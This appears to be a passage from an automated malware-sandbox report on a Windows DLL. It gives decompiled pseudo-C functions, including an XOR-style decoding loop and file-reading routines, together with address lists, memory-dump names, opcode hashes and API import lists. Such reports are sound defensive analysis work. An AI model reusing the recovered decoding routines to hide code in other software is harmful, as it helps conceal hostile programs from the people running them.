												_t417 = _t414 + 1;
												_t275 = _t376;
												__eflags = _t417 - 0x1000;
												if(_t417 < 0x1000) {
													L97:
													_push(_t417);
													E10008291(_t275, _t376);
													_t457 = _t457 + 8;
													goto L98;
												} else {
													_t210 = _t376 - 4; // 0xffffd46a
													_t375 =  *_t210;
													_t416 = _t417 + 0x23;
													_t272 = _t275 - _t375 + 0xfffffffc;
													__eflags = _t275 - _t375 + 0xfffffffc - 0x1f;
													if(_t275 - _t375 + 0xfffffffc > 0x1f) {
														goto L101;
													} else {
														goto L97;
													}
												}
											}
										} else {
											do {
												_v48 = 0;
												_v44 = 0xf;
												__eflags = _a16 - 0x10;
												_v64 = 0;
												_t378 =  >=  ? _v4 :  &_v4;
												__eflags = _a40 - 0x10;
												_t281 =  >=  ? _a20 :  &_a20;
												E10006B80(_t339,  &_v64, _t435 % _a36, 1, ( *(( >=  ? _a20 :  &_a20) + _t435 % _a36) ^  *(( >=  ? _v4 :  &_v4) + _t435)) & 0x000000ff);
												_v16 = 3;
												__eflags = _v44 - 0x10;
												_t380 =  *(_t339 + 0x10);
												_t447 = _v64;
												_t416 =  >=  ? _t447 :  &_v64;
												_v40 = _t380;
												_t381 = _v48;
												__eflags = _t381 -  *(_t339 + 0x14) - _t380;
												if(_t381 >  *(_t339 + 0x14) - _t380) {
													_push(_t381);
													_push(_t416);
													_v32 = 0;
													_push(_v32);
													E100079E0(_t339, _t339, _t435, _t381);
													_t447 = _v64;
												} else {
													__eflags =  *(_t339 + 0x14) - 0x10;
													_t437 = _v40;
													 *(_t339 + 0x10) = _t381 + _t437;
													_t294 = _t339;
													if( *(_t339 + 0x14) >= 0x10) {
														_t294 =  *_t339;
													}
													_t438 = _t437 + _t294;
													memmove(_t438, _t416, _t381);
													_t457 = _t457 + 0xc;
													 *((char*)(_t438 + _v48)) = 0;
													_t435 = _v28;
												}
												_v16 = 2;
												_t289 = _v44;
												__eflags = _t289 - 0x10;
												if(_t289 < 0x10) {
													goto L93;
												} else {
													_t204 = _t289 + 1; // 0x11
													_t383 = _t204;
													_t290 = _t447;
													__eflags = _t383 - 0x1000;
													if(_t383 < 0x1000) {
														L92:
														_push(_t383);
														E10008291(_t290, _t447);
														_t457 = _t457 + 8;
														goto L93;
													} else {
														_t447 =  *((intOrPtr*)(_t447 - 4));
														_t375 = _t383 + 0x23;
														_t272 = _t290 - _t447 + 0xfffffffc;
														__eflags = _t290 - _t447 + 0xfffffffc - 0x1f;
														if(_t290 - _t447 + 0xfffffffc > 0x1f) {
															L101:
															__imp___invalid_parameter_noinfo_noreturn();
															L102:
															_push(_t416);
															E10008291(_t272, _t375);
														} else {
															goto L92;
														}
													}
												}
												goto L103;
												L93:
												_t435 = _t435 + 1;
												_v28 = _t435;
												__eflags = _t435 - _a12;
											} while (_t435 < _a12);
											goto L94;
										}
										L103:
										 *[fs:0x0] = _v24;
										return _t339;
									}
								}
							}
						}
					}
				}
				L104:
			}

0x10001470
0x10001473
0x10001475
0x10001480
0x10001481
0x10001487
0x1000148e
0x10001492
0x10001498
0x1000149a
0x1000149d
0x100014a4
0x100014ab
0x100014b2
0x100014b5
0x100014b8
0x100014bb
0x100014bd
0x100014c4
0x100014cd
0x100016b7
0x100016bc
0x100016ca
0x100014d3
0x100014d3
0x100014d4
0x100014d7
0x100014d9
0x100014da
0x100014de
0x100014e2
0x100014e5
0x100014e8
0x100014eb
0x100014ee
0x100014f4
0x10001502
0x10001511
0x10001525
0x10001528
0x1000152b
0x10001530
0x10001541
0x10001548
0x1000154b
0x1000154e
0x10001551
0x10001556
0x10001571
0x10001574
0x10001578
0x1000157e
0x10001558
0x1000155b
0x1000155e
0x10001563
0x10001565
0x10001565
0x10001567
0x1000156a
0x1000156a
0x10001583
0x10001584
0x10001589
0x1000158c
0x1000158e
0x10001591
0x10001591
0x10001594
0x10001597
0x1000159f
0x100015a4
0x00000000
0x100015aa
0x100015aa
0x100015af
0x100015ce
0x100015d6
0x100015eb
0x100015f4
0x100015f6
0x100015f9
0x100015f9
0x100015fc
0x100015ff
0x10001601
0x10001606
0x10001608
0x1000160a
0x10001610
0x10001621
0x10001628
0x1000162e
0x10001631
0x10001636
0x10001654
0x10001657
0x1000165b
0x10001661
0x10001638
0x1000163b
0x1000163e
0x10001643
0x10001645
0x10001645
0x1000164a
0x1000164d
0x1000164d
0x10001666
0x10001667
0x1000166b
0x1000166b
0x10001671
0x10001678
0x1000167a
0x10001680
0x10001680
0x10001683
0x10001688
0x100016a1
0x100016a3
0x100016a7
0x100016ad
0x1000168a
0x1000168d
0x10001690
0x10001695
0x10001697
0x10001697
0x10001699
0x10001699
0x100016b2
0x100016b2
0x10001680
0x00000000
0x100015b1
0x100015b1
0x100015b4
0x100015ba
0x100015bf
0x100015c3
0x00000000
0x100015c5
0x100015c8
0x100015cb
0x00000000
0x100015cb
0x00000000
0x100015c3
0x100016cb
0x100016d0
0x100016d1
0x100016d2
0x100016d3
0x100016d4
0x100016d5
0x100016d6
0x100016d7
0x100016d8
0x100016d9
0x100016da
0x100016db
0x100016dc
0x100016dd
0x100016de
0x100016df
0x100016e0
0x100016e1
0x100016e3
0x100016e5
0x100016f0
0x100016f1
0x100016f4
0x100016f5
0x100016f6
0x100016f7
0x100016fe
0x10001702
0x10001708
0x1000170b
0x1000170d
0x10001710
0x10001717
0x10001719
0x1000171c
0x1000171e
0x10001721
0x10001728
0x1000172b
0x1000172e
0x10001730
0x10001733
0x1000173a
0x1000173c
0x10001995
0x1000199a
0x100019a8
0x10001742
0x10001742
0x10001742
0x10001746
0x10001749
0x1000174b
0x1000174e
0x10001750
0x10001750
0x10001752
0x10001756
0x00000000
0x00000000
0x1000175c
0x1000175e
0x10001761
0x10001763
0x10001763
0x10001765
0x10001768
0x1000176c
0x10001772
0x10001775
0x10001777
0x10001787
0x10001787
0x1000178a
0x1000178c
0x10001790
0x10001792
0x10001792
0x10001794
0x1000179a
0x1000179b
0x1000179f
0x100017a0
0x100017a3
0x100017a6
0x100017ac
0x100017b2
0x100017b2
0x100017c0
0x100017c0
0x100017cc
0x100017d0
0x100017d7
0x100017d9
0x100017f1
0x100017f1
0x100017f1
0x100017db
0x100017e1
0x100017e6
0x100017e9
0x100017eb
0x00000000
0x100017ed
0x100017ed
0x100017ed
0x100017eb
0x100017f4
0x100017fa
0x100017fe
0x100017ff
0x100017ff
0x10001804
0x10001818
0x1000181b
0x10001831
0x10001834
0x10001834
0x10001836
0x10001840
0x10001840
0x10001844
0x10001847
0x1000184a
0x1000184d
0x1000184f
0x1000186a
0x1000186d
0x10001871
0x10001875
0x10001877
0x10001851
0x10001854
0x10001857
0x10001859
0x1000185c
0x1000185e
0x1000185e
0x10001860
0x10001863
0x10001863
0x1000187c
0x1000187d
0x1000187d
0x10001882
0x10001885
0x10001885
0x10001887
0x10001887
0x1000188a
0x1000188d
0x1000188f
0x00000000
0x00000000
0x10001779
0x10001779
0x1000177c
0x00000000
0x1000177e
0x1000177e
0x10001781
0x00000000
0x00000000
0x10001781
0x1000177c
0x00000000
0x10001777
0x10001895
0x10001897
0x00000000
0x1000189d
0x1000189d
0x1000189f
0x100018a2
0x100018b8
0x100018b8
0x100018be
0x100018be
0x100018c0
0x100018c3
0x100018c6
0x100018c8
0x100018d4
0x100018d7
0x100018de
0x100018e0
0x100018e2
0x100018fa
0x100018fa
0x100018fa
0x100018e4
0x100018ea
0x100018ef
0x100018f2
0x100018f4
0x00000000
0x100018f6
0x100018f6
0x100018f6
0x100018f4
0x10001900
0x10001905
0x1000190b
0x1000190c
0x1000190f
0x1000190f
0x10001914
0x10001928
0x1000192b
0x10001941
0x10001941
0x10001944
0x10001947
0x10001949
0x1000194c
0x1000194f
0x10001951
0x10001953
0x10001953
0x10001957
0x1000195a
0x1000195d
0x10001960
0x10001962
0x1000197d
0x10001980
0x10001984
0x1000198a
0x10001964
0x10001967
0x1000196a
0x1000196c
0x1000196f
0x10001971
0x10001971
0x10001973
0x10001976
0x10001976
0x1000198f
0x10001990
0x10001990
0x10001953
0x00000000
0x100018a4
0x100018a4
0x100018a7
0x100018ad
0x100018b2
0x100018b3
0x100018b6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x100018b6
0x100019a9
0x100019ae
0x100019af
0x100019b0
0x100019b3
0x100019b5
0x100019c0
0x100019c1
0x100019c4
0x100019c5
0x100019c6
0x100019c7
0x100019ce
0x100019d2
0x100019d8
0x100019da
0x100019dd
0x100019e0
0x100019e7
0x100019f0
0x100019f7
0x10001a03
0x10001a06
0x10001a0b
0x10001a0d
0x10001a14
0x10001a17
0x10001a1a
0x10001b06
0x10001b06
0x10001b09
0x10001b0c
0x10001b36
0x10001b36
0x10001b39
0x10001b40
0x10001b47
0x10001b4b
0x10001b4e
0x10001b50
0x10001b53
0x10001b54
0x10001b56
0x10001b5c
0x10001b5e
0x10001b61
0x10001b66
0x10001b69
0x10001b6c
0x00000000
0x00000000
0x10001b6c
0x00000000
0x10001b5c
0x10001b0e
0x10001b0e
0x10001b11
0x10001b12
0x10001b14
0x10001b1a
0x10001b2c
0x10001b2c
0x10001b2e
0x10001b33
0x00000000
0x10001b1c
0x10001b1c
0x10001b1c
0x10001b1f
0x10001b24
0x10001b27
0x10001b2a
0x00000000
0x00000000
0x00000000
0x00000000
0x10001b2a
0x10001b1a
0x10001a20
0x10001a20
0x10001a22
0x10001a2b
0x10001a35
0x10001a3f
0x10001a43
0x10001a47
0x10001a4b
0x10001a5e
0x10001a63
0x10001a6a
0x10001a6e
0x10001a71
0x10001a74
0x10001a7c
0x10001a7f
0x10001a82
0x10001a84
0x10001ab2
0x10001ab3
0x10001ab4
0x10001ab8
0x10001abe
0x10001ac3
0x10001a86
0x10001a86
0x10001a8a
0x10001a90
0x10001a93
0x10001a95
0x10001a97
0x10001a97
0x10001a9a
0x10001a9e
0x10001aa6
0x10001aa9
0x10001aad
0x10001aad
0x10001ac6
0x10001aca
0x10001acd
0x10001ad0
0x00000000
0x10001ad2
0x10001ad2
0x10001ad2
0x10001ad5
0x10001ad7
0x10001add
0x10001aef
0x10001aef
0x10001af1
0x10001af6
0x00000000
0x10001adf
0x10001adf
0x10001ae2
0x10001ae7
0x10001aea
0x10001aed
0x10001b6e
0x10001b6e
0x10001b74
0x10001b74
0x10001b76
0x00000000
0x00000000
0x00000000
0x10001aed
0x10001add
0x00000000
0x10001af9
0x10001af9
0x10001afa
0x10001afd
0x10001afd
0x00000000
0x10001a20
0x10001b7e
0x10001b83
0x10001b91
0x10001b91
0x100018a2
0x10001897
0x1000173c
0x100015af
0x100015a4
0x00000000

Memory Dump Source

Source File: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.871391664.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06e1bf1579f983df0d8f63b15d1dfa6fa7c02fb644b31ee364001d2f98093de2
Instruction ID: 0830829fb3a5c1605d0fb5273705afed467d346d75cc01c07a367cfad2be659d
Opcode Fuzzy Hash: 06e1bf1579f983df0d8f63b15d1dfa6fa7c02fb644b31ee364001d2f98093de2
Instruction Fuzzy Hash: A481F375E08285DFEB01CF68C8907EEBFF1EB1A380F184559D894A7782C3759646CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 031E1000, Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.870611323.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f69370ec6f4029e2314be664d607fd0e7a30bd9f4794883c5a9fb76b520c810
Instruction ID: 25f57a8c3b092f3a83c2726da62fa5464ffcb8ee5cd1ea8846d10477b8d77f33
Opcode Fuzzy Hash: 5f69370ec6f4029e2314be664d607fd0e7a30bd9f4794883c5a9fb76b520c810
Instruction Fuzzy Hash: 7D918C72940204EFFF00DFA1C9897A977F5EF48311F1980EADD089E19ADB751660DBA8

Uniqueness

Uniqueness Score: -1.00%

Function 031E416C, Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.870611323.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9f32bd298a4e173894dd9436e8aed85eac9fad1a9c66beb14a0bf918f07bf7e
Instruction ID: 4247fec3547d6cb64744a8774d6d71e86ed9a0119bbfdcec30a1422dbc6788ca
Opcode Fuzzy Hash: d9f32bd298a4e173894dd9436e8aed85eac9fad1a9c66beb14a0bf918f07bf7e
Instruction Fuzzy Hash: A37190B2814208EFEF04DFA4D886BAE7BB4FF08321F0881ADED569E185D7355560CB64

Uniqueness

Uniqueness Score: -1.00%

Function 031E2726, Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.870611323.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d4dd4cbd1949bb810f251df1280f1f41869f207e9b3d9cb02d5cb7c4f9eda07
Instruction ID: 50787c2ee816880a0723e43dc6123f15e9b4b3af53556262fc3c6e8aba89e6b6
Opcode Fuzzy Hash: 7d4dd4cbd1949bb810f251df1280f1f41869f207e9b3d9cb02d5cb7c4f9eda07
Instruction Fuzzy Hash: 9551D3739085159FEB08DFA4DD96BBEF7B4FB04320F29462ED441A7280DB796940C760

Uniqueness

Uniqueness Score: -1.00%

Function 031E344C, Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.870611323.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41783bd2e782ecbcbb96659956e54e89a7f35a8833fc3d7719a084e56d383974
Instruction ID: c751a17f19ee299ce777c020d4d41449805083765024896307016fe38694ac5b
Opcode Fuzzy Hash: 41783bd2e782ecbcbb96659956e54e89a7f35a8833fc3d7719a084e56d383974
Instruction Fuzzy Hash: 50519273D10504EFEB04CFA9D98575DFBB1EF88324F2AC2A9C9656B284CB346611CB94

Uniqueness

Uniqueness Score: -1.00%

Function 031E3607, Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.870611323.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98aaa25299edf48bbaaecab6b16b5cc10ff6831aca8a52991011561ba764e8a7
Instruction ID: d9f529fea1fd2354284cc6026296369ac1763ec0312bdd200fad3fbd5e124da3
Opcode Fuzzy Hash: 98aaa25299edf48bbaaecab6b16b5cc10ff6831aca8a52991011561ba764e8a7
Instruction Fuzzy Hash: A921D3739045109FE764DE79CD46B1BF7A1EB84720F2A863DD8A5A32C0DB747910CAD1

Uniqueness

Uniqueness Score: -1.00%

Function 10001150, Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.871391664.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ae7783ee6cc038c18221074a5ed048a724f6c93e5d03df6af1f0fa7a4376dd4
Instruction ID: ef106bc17e7e7e1bc3c802803f62cd5a4077a02f226fb161c9d277b8b3faec17
Opcode Fuzzy Hash: 4ae7783ee6cc038c18221074a5ed048a724f6c93e5d03df6af1f0fa7a4376dd4
Instruction Fuzzy Hash: CBF01C35744944AFD704CF54D890BA5B7F8EB09B50F1082AEEA1ACB795DB35A801CA90

Uniqueness

Uniqueness Score: -1.00%

Function 10006270, Relevance: 13.7, APIs: 9, Instructions: 227
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E10006270(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				char _v8;
				char _v16;
				signed int _v20;
				signed int _v21;
				intOrPtr _v28;
				char _v32;
				signed int _v48;
				char _v52;
				char _v56;
				char _v60;
				signed int _t80;
				signed int _t81;
				signed int _t83;
				struct _IO_FILE* _t85;
				signed int _t87;
				signed int _t89;
				signed char _t92;
				void* _t101;
				int _t105;
				intOrPtr _t108;
				intOrPtr _t109;
				void* _t124;
				void* _t127;
				signed char _t128;
				signed int _t133;
				intOrPtr _t136;
				intOrPtr _t140;
				signed int _t141;
				intOrPtr _t142;
				void* _t143;
				intOrPtr _t144;
				char* _t149;
				intOrPtr* _t152;
				signed char* _t153;
				void* _t156;
				void* _t160;
				signed int _t162;
				signed int _t163;
				void* _t169;
				intOrPtr _t170;
				signed int _t171;
				void* _t172;
				void* _t173;
				void* _t174;

				_push(0xffffffff);
				_push(E10009888);
				_push( *[fs:0x0]);
				_t173 = _t172 - 0x2c;
				_t80 =  *0x1000d004; // 0x98f8ac3b
				_t81 = _t80 ^ _t171;
				_v20 = _t81;
				_push(_t81);
				 *[fs:0x0] =  &_v16;
				_t124 = __ecx;
				_t83 =  *(__ecx + 0x1c);
				_t127 =  *_t83;
				if(_t127 == 0) {
					L3:
					if( *(_t124 + 0x4c) != 0) {
						_t162 =  *(_t124 + 0xc);
						if( *_t162 == _t124 + 0x3c) {
							_t140 =  *((intOrPtr*)(_t124 + 0x50));
							 *_t162 = _t140;
							 *((intOrPtr*)( *((intOrPtr*)(_t124 + 0x1c)))) = _t140;
							 *((intOrPtr*)( *((intOrPtr*)(_t124 + 0x2c)))) =  *((intOrPtr*)(_t124 + 0x54)) - _t140;
						}
						_t85 =  *(_t124 + 0x4c);
						if( *((intOrPtr*)(_t124 + 0x38)) != 0) {
							_v32 = 0;
							_v28 = 0xf;
							_v48 = 0;
							_v8 = 0;
							_t128 = fgetc(_t85);
							_t174 = _t173 + 4;
							if(_t128 == 0xffffffff) {
								L25:
								_t163 = _t162 | 0xffffffff;
							} else {
								_t156 = _t124 + 0x40;
								while(1) {
									_t144 = _v32;
									if(_v28 - _t144 < 1) {
										_push(_t128);
										_v60 = 0;
										E10007880(_t124,  &_v48, _t156, 1, _v60, 1);
									} else {
										_t25 = _t144 + 1; // 0x1
										_v32 = _t25;
										_t117 =  >=  ? _v48 :  &_v48;
										_t149 = _t144 + ( >=  ? _v48 :  &_v48);
										 *_t149 = _t128 << 0x00000008 | _t128 & 0x000000ff;
										 *((char*)(_t149 + 1)) = 0;
									}
									_t162 =  >=  ? _v48 :  &_v48;
									_t146 =  >=  ? _v48 :  &_v48;
									_t101 = _v32 + _t162;
									__imp__?in@?$codecvt@DDU_Mbstatet@@@std@@QBEHAAU_Mbstatet@@PBD1AAPBDPAD3AAPAD@Z(_t156,  >=  ? _v48 :  &_v48, _t101,  &_v52,  &_v21,  &_v20,  &_v56);
									if(_t101 < 0) {
										goto L25;
									}
									if(_t101 <= 1) {
										if(_v56 !=  &_v21) {
											_t104 =  >=  ? _v48 :  &_v48;
											_t136 = _v52;
											_t169 = _v32 - _t136 + ( >=  ? _v48 :  &_v48);
											if(_t169 > 0) {
												asm("o16 nop [eax+eax]");
												while(1) {
													_t105 =  *((char*)(_t169 + _t136 - 1));
													_t169 = _t169 - 1;
													ungetc(_t105,  *(_t124 + 0x4c));
													_t174 = _t174 + 8;
													if(_t169 <= 0) {
														goto L35;
													}
													_t136 = _v52;
												}
											}
											L35:
											_t163 = _v21 & 0x000000ff;
										} else {
											_t107 =  >=  ? _v48 :  &_v48;
											_t159 = _v52 - ( >=  ? _v48 :  &_v48);
											_t108 = _v32;
											_t160 =  <  ? _t108 : _v52 - ( >=  ? _v48 :  &_v48);
											_t148 =  >=  ? _v48 :  &_v48;
											_t109 = _t108 - _t160;
											_v32 = _t109;
											memmove( >=  ? _v48 :  &_v48, ( >=  ? _v48 :  &_v48) + _t160, _t109 + 1);
											_t174 = _t174 + 0xc;
											_t156 = _t124 + 0x40;
											goto L24;
										}
									} else {
										if(_t101 != 3) {
											goto L25;
										} else {
											if(_v32 < 1) {
												L24:
												_t128 = fgetc( *(_t124 + 0x4c));
												_t174 = _t174 + 4;
												if(_t128 != 0xffffffff) {
													continue;
												} else {
													goto L25;
												}
											} else {
												_t89 =  &_v48;
												if(_v28 < 0x10) {
													L30:
													_t92 =  *_t89;
													_v21 = _t92;
													_t163 = _t92 & 0x000000ff;
												} else {
													_t89 = _v48;
													if(_t89 != 0) {
														goto L30;
													} else {
														_v21 = _t89;
														__imp___errno();
														 *_t89 = 0x16;
														__imp___invalid_parameter_noinfo();
														_t163 = _v21 & 0x000000ff;
													}
												}
											}
										}
									}
									goto L26;
								}
								goto L25;
							}
							L26:
							_t142 = _v28;
							if(_t142 >= 0x10) {
								_t133 = _v48;
								_t143 = _t142 + 1;
								_t89 = _t133;
								if(_t143 < 0x1000) {
									L36:
									_push(_t143);
									E10008291(_t89, _t133);
								} else {
									_t133 =  *(_t133 - 4);
									_t143 = _t143 + 0x23;
									_t89 = _t89 - _t133 + 0xfffffffc;
									if(_t89 <= 0x1f) {
										goto L36;
									} else {
										__imp___invalid_parameter_noinfo_noreturn();
										goto L30;
									}
								}
							}
							_t87 = _t163;
						} else {
							_t83 = fgetc(_t85);
							if(_t83 == 0xffffffff) {
								goto L4;
							} else {
								_t87 = _t83 & 0x000000ff;
							}
						}
					} else {
						L4:
						_t87 = _t83 | 0xffffffff;
					}
				} else {
					_t152 =  *((intOrPtr*)(__ecx + 0x2c));
					_t170 =  *_t152;
					_t83 = _t170 + _t127;
					if(_t127 >= _t83) {
						goto L3;
					} else {
						 *_t152 = _t170 - 1;
						_t141 =  *(__ecx + 0x1c);
						_t153 =  *_t141;
						 *_t141 =  &(_t153[1]);
						_t87 =  *_t153 & 0x000000ff;
					}
				}
				 *[fs:0x0] = _v16;
				return E10008280(_t87, _v20 ^ _t171);
			}

0x10006273
0x10006275
0x10006280
0x10006281
0x10006284
0x10006289
0x1000628b
0x10006291
0x10006295
0x1000629b
0x1000629d
0x100062a0
0x100062a4
0x100062c9
0x100062cd
0x100062d7
0x100062df
0x100062e4
0x100062e9
0x100062ee
0x100062f3
0x100062f3
0x100062f9
0x100062fc
0x10006315
0x1000631c
0x10006323
0x10006328
0x10006335
0x10006337
0x1000633d
0x10006471
0x10006471
0x10006343
0x10006343
0x10006346
0x1000634b
0x10006353
0x1000637c
0x1000637f
0x1000638b
0x10006355
0x10006355
0x1000635b
0x10006364
0x10006368
0x10006374
0x10006376
0x10006376
0x1000639d
0x100063a4
0x100063b8
0x100063bd
0x100063c5
0x00000000
0x00000000
0x100063ce
0x1000641d
0x100064b5
0x100064b9
0x100064be
0x100064c2
0x100064ca
0x100064d0
0x100064d3
0x100064d8
0x100064da
0x100064dc
0x100064e1
0x00000000
0x00000000
0x100064e3
0x100064e3
0x100064d0
0x100064e8
0x100064e8
0x10006423
0x1000642d
0x10006431
0x10006433
0x10006438
0x1000643f
0x10006443
0x10006445
0x1000644f
0x10006454
0x10006457
0x00000000
0x10006457
0x100063d0
0x100063d3
0x00000000
0x100063d9
0x100063dd
0x1000645a
0x10006463
0x10006465
0x1000646b
0x00000000
0x00000000
0x00000000
0x00000000
0x100063df
0x100063e3
0x100063e6
0x100064a4
0x100064a4
0x100064a6
0x100064a9
0x100063ec
0x100063ec
0x100063f1
0x00000000
0x100063f7
0x100063f7
0x100063fa
0x10006400
0x10006406
0x1000640f
0x1000640f
0x100063f1
0x100063e6
0x100063dd
0x100063d3
0x00000000
0x100063ce
0x00000000
0x10006346
0x10006474
0x10006474
0x1000647a
0x10006480
0x10006483
0x10006484
0x1000648c
0x100064ee
0x100064ee
0x100064f0
0x1000648e
0x1000648e
0x10006491
0x10006496
0x1000649c
0x00000000
0x1000649e
0x1000649e
0x00000000
0x1000649e
0x1000649c
0x1000648c
0x100064f8
0x100062fe
0x100062ff
0x1000630b
0x00000000
0x1000630d
0x1000630d
0x1000630d
0x1000630b
0x100062cf
0x100062cf
0x100062cf
0x100062cf
0x100062a6
0x100062a6
0x100062a9
0x100062ab
0x100062b0
0x00000000
0x100062b2
0x100062b5
0x100062b7
0x100062ba
0x100062bf
0x100062c1
0x100062c1
0x100062b0
0x100064fd
0x10006515

APIs

fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 100062FF

Memory Dump Source

Source File: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.871391664.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: fgetc
String ID:
API String ID: 2807381905-0
Opcode ID: 90d41a600355ad33b5e836837d2b56d0f6c9ad19deff0b1706771f7cfbd49efc
Instruction ID: ce9be1a78e4545a9ea44f8cf3697d3704bd6a632c903f411e46880ba92cf71eb
Opcode Fuzzy Hash: 90d41a600355ad33b5e836837d2b56d0f6c9ad19deff0b1706771f7cfbd49efc
Instruction Fuzzy Hash: D9917031D04119DFEB14CFA8C894AEEB7F6FF49350F208269E815A7249D735A949CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 10005C90, Relevance: 13.6, APIs: 9, Instructions: 119COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PBDHH@Z.MSVCP140(00000002,1000556E,00000040,98F8AC3B,?,?,?,000000FF,?,10001C11,1000556E,00000002,?,000000B0,98F8AC3B), ref: 10005CD7
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXXZ.MSVCP140(?,?,?,?,?,10001C11,1000556E,00000002,?,000000B0,98F8AC3B), ref: 10005CF4
_get_stream_buffer_pointers.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000000,?,?), ref: 10005D1C
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXPAPAD0PAH001@Z.MSVCP140(?,?,00000000,?,?,00000000), ref: 10005D36
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?), ref: 10005D5C

Part of subcall function 10007640: ??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,98F8AC3B,?,?,00000000,?,?,00000000,10009A21,000000FF,?,10005D70), ref: 10007672
Part of subcall function 10007640: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000000,10009A21,000000FF), ref: 1000768D
Part of subcall function 10007640: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,00000000,10009A21,000000FF), ref: 100076B1
Part of subcall function 10007640: ?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,00000000,?,?,00000000,10009A21,000000FF), ref: 100076D2
Part of subcall function 10007640: std::_Facet_Register.LIBCPMT ref: 100076EB
Part of subcall function 10007640: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,00000000,10009A21,000000FF), ref: 10007706

?always_noconv@codecvt_base@std@@QBE_NXZ.MSVCP140 ref: 10005D74
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXXZ.MSVCP140 ref: 10005D8C
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000,98F8AC3B,?,?,?,000000FF,?,10001C11,1000556E,00000002,?,000000B0,98F8AC3B), ref: 10005DCC
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,98F8AC3B,?,?,?,000000FF,?,10001C11,1000556E,00000002,?,000000B0,98F8AC3B), ref: 10005DD6

Memory Dump Source

Source File: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.871391664.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: D@std@@@std@@U?$char_traits@$Init@?$basic_streambuf@$Lockit@std@@$??0_??1_?always_noconv@codecvt_base@std@@?clear@?$basic_ios@?getloc@?$basic_streambuf@?setstate@?$basic_ios@Bid@locale@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@H001@Locimp@12@Mbstatet@@@std@@RegisterU_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@_get_stream_buffer_pointersstd::_
String ID:
API String ID: 1451330227-0
Opcode ID: 86bc4ef2d5dd72cada305ce05c527b86871744f405c944e83a4cb4b5af521631
Instruction ID: 47e502f8e444ff3f3d7bd4d00da1cb0a998ded576b74931b18031995935a8c33
Opcode Fuzzy Hash: 86bc4ef2d5dd72cada305ce05c527b86871744f405c944e83a4cb4b5af521631
Instruction Fuzzy Hash: 2B418070A00615DFEB20CF64C888BAFBBF8FB09755F10421EE90697794DB75A944CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 10007D80, Relevance: 10.7, APIs: 7, Instructions: 169COMMON

Download Yara Rule

APIs

?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@XZ.MSVCP140(98F8AC3B,10003B99,?,?), ref: 10007E3F
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP140(?,?,98F8AC3B,10003B99,?,?), ref: 10007E97
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAE_JPBD_J@Z.MSVCP140(?,?,00000000,?,98F8AC3B,10003B99,?,?), ref: 10007EC0
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP140(?,?,?), ref: 10007EE7
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(00000004,00000000,?,?), ref: 10007F47
?uncaught_exception@std@@YA_NXZ.MSVCP140(?,?), ref: 10007F54
